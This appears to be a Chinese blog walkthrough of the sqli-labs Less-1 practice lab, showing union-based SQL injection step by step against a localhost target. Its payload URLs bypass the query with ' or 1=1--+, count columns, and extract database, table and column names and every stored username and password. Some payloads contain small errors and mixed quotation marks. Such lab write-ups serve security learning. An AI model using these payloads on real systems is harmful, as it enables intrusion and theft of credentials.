在看别人的博客的基础上自己加了些修改
sql-labs之less1
打开题目我们可以看到这样的界面
一、我们先尝试下看是不是get获取请求方式。
在地址栏后面加上?id=1;发现结果是我们所预料的get方式。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
二、在http://127.0.0.1/sqli-labs-master/Less-1/?id=1加个’,查看下会出现什么效果
我们提交后,sql语句就被构造成了’1’'limit ‘0,1’。
三、那我们要怎样把‘去掉呢,这就想到了万能密钥’or 1=1–+ 我们尝试一下
http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘or 1=1--+
果然可以,页面又正常了。
可,这是为什么呢,我们去查看下源码,
源码位置如下
当我们提交’or 1=1–+,由于sql语句未做任何过滤,所有,构造的sql语句就是
$sql="SELECT * FROM users WHERE id='1'or 1=1--+'LIMIT 0,1";。//'1'or 1=1--+'这个永远为真,所以我们就成功造成了注入
四、判断它所在的数据库有几列
http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘order by3
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’order by 4
故它所在的数据库有3列。
五、判断它的内容显示在第几列
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,2,3--+
六、找出当前的用户权限
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,user(),3--+
七、查找当前的数据库
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,database(),3--+
八、查找当前数据库的表名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1‘union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =’security‘),3--+
九、查找当前表(users)下的列
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1‘union select 1,(select group_concat(column_name) from information_schema.column where table_schema =’security‘ and table_name='users'),3--+
十,查找用户名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,(select group_concat(username) from security.users),3--+
十一、查找密码
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,(select group_concat(password) from security.users),3--+
十一、也可以直接找出对应的用户和密码
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1‘union select 1,username,password from users where id=2--+